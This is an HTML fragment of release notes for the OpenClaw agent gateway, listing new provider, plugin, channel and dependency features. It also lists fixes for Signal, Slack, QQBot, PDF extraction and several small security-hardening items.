<li>Providers/NVIDIA: add the NVIDIA provider with API-key onboarding, setup docs, static catalog metadata, and literal model-ref picker support so NVIDIA hosted models can be selected with their provider prefix intact. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324848945" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71204/hovercard" href="https://github.com/openclaw/openclaw/pull/71204">#71204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Models: suppress explicitly configured openai-codex/gpt-5.4-mini inline entries so a stale models config written by <code>openclaw doctor --fix</code> cannot bypass the manifest capability block and cause repeated assistant-turn failures when the runtime switches to that model on ChatGPT-backed Codex accounts. Conditional suppressions (e.g. qwen Coding Plan endpoint guards) remain bypassable by explicit user configuration. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xCyda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xCyda">@0xCyda</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Added SQLite-backed plugin state store (<code>api.runtime.state.openKeyedStore</code>) for restart-safe keyed registries with TTL, eviction, and automatic plugin isolation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugin SDK: mark remaining legacy alias exports and diffs tool/config aliases with deprecation metadata, and add a guard so future legacy alias comments require <code>@deprecated</code> tags. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/QR/dependencies: internalize small terminal progress and QR wrapper helpers while keeping the real QR encoder dependency direct, reducing the default runtime dependency graph without changing QR output behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Dependencies: refresh workspace runtime, plugin, and tooling packages, including ACP, Pi, AWS SDK, TypeBox, pnpm, oxlint, oxfmt, jsdom, pdfjs, ciao, and tokenjuice, while keeping patched ACP behavior and lint gates current. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</li>
<li>Gateway/dev: run <code>pnpm gateway:watch</code> through a named tmux session by default, with <code>gateway:watch:raw</code> and <code>OPENCLAW_GATEWAY_WATCH_TMUX=0</code> for foreground mode, so repeated starts respawn an inspectable watcher without trapping the invoking agent shell. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/diagnostics: emit an opt-in startup diagnostics timeline that records gateway lifecycle and plugin-load phases behind a config flag, so slow-start diagnosis no longer requires bespoke instrumentation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Control UI/i18n: extend the locale registry with new Persian (fa), Dutch (nl), Vietnamese (vi), Italian (it), Arabic (ar), and Thai (th) entries and ship <code>fa</code>, <code>nl</code>, <code>vi</code>, and <code>zh-TW</code> docs glossaries, so the docs translation pipeline and the Control UI language picker stay aligned across surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels: add Yuanbao channel docs entrance so the Tencent Yuanbao bot appears in the channel listing and sidebar navigation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341969080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73443/hovercard" href="https://github.com/openclaw/openclaw/pull/73443">#73443</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Channels/Yuanbao: update plugin GitHub location to YuanbaoTeam/yuanbao-openclaw-plugin and add "yuanbao" alias to channel catalog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349371764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74253/hovercard" href="https://github.com/openclaw/openclaw/pull/74253">#74253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Docker setup: add <code>OPENCLAW_SKIP_ONBOARDING</code> so automated Docker installs can skip the interactive onboarding step while still applying gateway defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148855578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55518/hovercard" href="https://github.com/openclaw/openclaw/pull/55518">#55518</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinjimz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinjimz">@jinjimz</a>.</li>
<li>Security policy: classify media/base64 decode and format-conversion overhead after configured acceptance limits as performance-only for GHSA triage unless a report demonstrates a limit bypass, crash, exhaustion, data exposure, or another boundary bypass. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350238747" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74311" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74311/hovercard" href="https://github.com/openclaw/openclaw/pull/74311">#74311</a>)</li>
<li>Security/OpenGrep: add a precise OpenGrep rulepack, source-rule compiler, provenance metadata check, and PR/full scan workflows that validate first-party code and rulepack-only changes while uploading SARIF to GitHub Code Scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4299142364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69483/hovercard" href="https://github.com/openclaw/openclaw/pull/69483">#69483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Providers/OpenAI Codex: preserve existing wrapped Codex streams during OpenAI attribution so PI OAuth bearer injection reaches ChatGPT/Codex Responses, and strip native Codex-only unsupported payload fields without touching custom compatible endpoints. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358840684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75111" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75111/hovercard" href="https://github.com/openclaw/openclaw/pull/75111">#75111</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Agents/tool-result guard: use the resolved runtime context token budget for non-context-engine tool-result overflow checks, so long tool-heavy sessions no longer compact early when <code>contextTokens</code> is larger than native <code>contextWindow</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355916636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74917" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74917/hovercard" href="https://github.com/openclaw/openclaw/issues/74917">#74917</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kAIborg24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kAIborg24">@kAIborg24</a>.</li>
<li>Gateway/systemd: exit with sysexits 78 for supervised lock and <code>EADDRINUSE</code> conflicts so <code>RestartPreventExitStatus=78</code> stops <code>Restart=always</code> restart loops instead of repeatedly reloading plugins against an occupied port. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358976301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75115/hovercard" href="https://github.com/openclaw/openclaw/issues/75115">#75115</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yhyatt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yhyatt">@yhyatt</a>.</li>
<li>Agents/runtime: skip blank visible user prompts at the embedded-runner boundary before provider submission while still allowing internal runtime-only turns and media-only prompts, so Telegram/group sessions no longer leak raw empty-input provider errors when replay history exists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348363760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74137/hovercard" href="https://github.com/openclaw/openclaw/issues/74137">#74137</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gracker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gracker">@Gracker</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nhaener/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nhaener">@nhaener</a>.</li>
<li>Auto-reply/group chats: fall back to automatic source delivery when a channel precomputes message-tool-only replies but the <code>message</code> tool is unavailable, so Discord/Slack-style group turns do not silently complete without a visible reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355462791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74868/hovercard" href="https://github.com/openclaw/openclaw/issues/74868">#74868</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</li>
<li>Browser/gateway: share one browser control runtime across the HTTP control server and <code>browser.request</code>, and refresh browser profile config from the source snapshot, so CLI status/start honors configured <code>browser.executablePath</code>, <code>headless</code>, and <code>noSandbox</code> instead of falling back to stale auto-detection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358368287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75087" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75087/hovercard" href="https://github.com/openclaw/openclaw/issues/75087">#75087</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344146532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73617/hovercard" href="https://github.com/openclaw/openclaw/issues/73617">#73617</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/civiltox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/civiltox">@civiltox</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Agents/subagents: bound automatic orphan recovery with persisted recovery attempts and a wedged-session tombstone, and teach task maintenance/doctor to reconcile those sessions so restart loops no longer require manual <code>sessions.json</code> surgery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355427349" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74864/hovercard" href="https://github.com/openclaw/openclaw/issues/74864">#74864</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solosage1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solosage1">@solosage1</a>.</li>
<li>Gateway/startup: skip pre-bind web-fetch provider discovery for credential-free <code>tools.web.fetch</code> config, so Docker/Kubernetes gateways bind even when optional fetch limits are present. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355733598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74896" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74896/hovercard" href="https://github.com/openclaw/openclaw/issues/74896">#74896</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KoykL/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KoykL">@KoykL</a>.</li>
<li>Infra/tmp: tolerate concurrent temp-dir permission repairs by rechecking directories that another process already tightened, so parallel ACP subprocess startup no longer throws <code>Unsafe fallback OpenClaw temp dir</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265270151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66867" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66867/hovercard" href="https://github.com/openclaw/openclaw/issues/66867">#66867</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kane808-AI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kane808-AI">@Kane808-AI</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jarvisz8/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jarvisz8">@jarvisz8</a>.</li>
<li>Signal: match group allowlists against inbound Signal group ids as well as sender ids, and process explicitly configured Signal groups without requiring mentions unless <code>requireMention</code> is set. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4124822798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53308" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53308/hovercard" href="https://github.com/openclaw/openclaw/issues/53308">#53308</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/minupla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/minupla">@minupla</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>Slack: require bot-authored room messages with <code>allowBots=true</code> to come from an explicitly channel-allowlisted bot or from a room where an explicit Slack owner is present, so broad bot relays cannot run unattended. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190405125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59284/hovercard" href="https://github.com/openclaw/openclaw/issues/59284">#59284</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhong-translucent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhong-translucent">@andrewhong-translucent</a>.</li>
<li>Signal: bound <code>signal-cli</code> installer release and archive downloads with explicit timeouts, declared and streamed size checks, and partial-file cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131804194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54153" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54153/hovercard" href="https://github.com/openclaw/openclaw/issues/54153">#54153</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinduwang1001-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinduwang1001-max">@jinduwang1001-max</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>Signal: derive <code>getAttachment</code> HTTP response caps from <code>channels.signal.mediaMaxMb</code> with base64 headroom, so inbound photos and videos no longer drop behind the 1 MiB RPC default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343275028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73564" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73564/hovercard" href="https://github.com/openclaw/openclaw/issues/73564">#73564</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heyhudson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heyhudson">@heyhudson</a>.</li>
<li>Signal: keep the long-lived receive SSE monitor open while idle instead of applying the 10s RPC/check deadline, so <code>signal-cli</code> 0.14.3 event streams no longer reconnect before inbound messages arrive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354790687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74741/hovercard" href="https://github.com/openclaw/openclaw/issues/74741">#74741</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fgabelmannjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fgabelmannjr">@fgabelmannjr</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/k7n4n5t3w4rt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/k7n4n5t3w4rt">@k7n4n5t3w4rt</a>.</li>
<li>Models/OpenAI Codex: restore <code>openai-codex/gpt-5.4-mini</code> for ChatGPT/Codex OAuth PI runs after live OAuth proof, and align the manifest, forward-compat metadata, docs, and regression tests so stale cron and heartbeat configs resolve again. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xCyda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xCyda">@0xCyda</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Memory/runtime-deps: retain the native <code>node-llama-cpp</code> runtime only when local memory search is configured, so packaged installs can repair local embeddings without relying on unreachable global npm installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355063600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74777/hovercard" href="https://github.com/openclaw/openclaw/issues/74777">#74777</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Plugins/runtime-deps: replace stale symlinked mirror target roots before writing runtime-mirror temp files and skip rewriting already materialized hardlinks, so cross-version container upgrades no longer crash-loop on read-only image-layer paths while warm mirrors do less churn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358776355" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75108" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75108/hovercard" href="https://github.com/openclaw/openclaw/issues/75108">#75108</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coletebou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coletebou">@coletebou</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiaohuaxi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiaohuaxi">@xiaohuaxi</a>.</li>
<li>Plugins/runtime-deps: keep bundled provider policy config loading from staging plugin runtime dependencies, so config reads no longer fail on locked-down <code>/var/lib/openclaw/plugin-runtime-deps</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356579392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74971" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74971/hovercard" href="https://github.com/openclaw/openclaw/issues/74971">#74971</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eurojojo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eurojojo">@eurojojo</a>.</li>
<li>Plugins/runtime-deps: always write a dependency map in generated runtime-deps install manifests, so npm does not crash or prune staged bundled-plugin packages when the plan is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356326245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74949" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74949/hovercard" href="https://github.com/openclaw/openclaw/issues/74949">#74949</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Security/outbound: strip re-formed HTML tags during plain-text sanitization so nested tag fragments cannot leave a CodeQL-detected <code>&lt;script&gt;</code> sequence behind. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/secrets: compare credential bytes with padded timing-safe buffers instead of hashing candidate passwords before equality checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/QQBot: sanitize debug log arguments before writing to <code>console.*</code>, so gateway payload fields cannot forge extra log lines when debug logging is enabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QQBot: unify slash command auth and c2cOnly gating in the command registry, pass <code>allowQQBotDataDownloads</code> when sending slash command file attachments, align clear-storage with actual downloads directory, and add <code>/bot-me</code> to display sender user ID. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344118368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73616" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73616/hovercard" href="https://github.com/openclaw/openclaw/pull/73616">#73616</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cxyhhhhh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cxyhhhhh">@cxyhhhhh</a>.</li>
<li>CLI/agents/status: keep <code>openclaw agents</code>, text <code>agents list</code>, and plain text <code>status</code> on read-only metadata paths so human output no longer preloads plugin runtimes or live channel scans before printing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348784023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74195" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74195/hovercard" href="https://github.com/openclaw/openclaw/issues/74195">#74195</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/local models: derive context-window guard thresholds from the effective model window with 4k/8k safety floors, so small local models are no longer rejected by fixed 16k/32k preflight cutoffs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056859962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42999" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42999/hovercard" href="https://github.com/openclaw/openclaw/issues/42999">#42999</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengjialu8888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengjialu8888">@chengjialu8888</a>.</li>
<li>PDF extraction: resolve PDF.js standard fonts from the installed package root and pass a filesystem path to the Node fallback extractor, so built-in font PDFs render without <code>file://</code> URL lookup failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111579816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51455/hovercard" href="https://github.com/openclaw/openclaw/issues/51455">#51455</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320477272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70936/hovercard" href="https://github.com/openclaw/openclaw/pull/70936">#70936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4134943079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54447" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54447/hovercard" href="https://github.com/openclaw/openclaw/pull/54447">#54447</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214513630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62175" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62175/hovercard" href="https://github.com/openclaw/openclaw/pull/62175">#62175</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JuanRdBO/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JuanRdBO">@JuanRdBO</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solomonneas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solomonneas">@solomonneas</a>.</li>
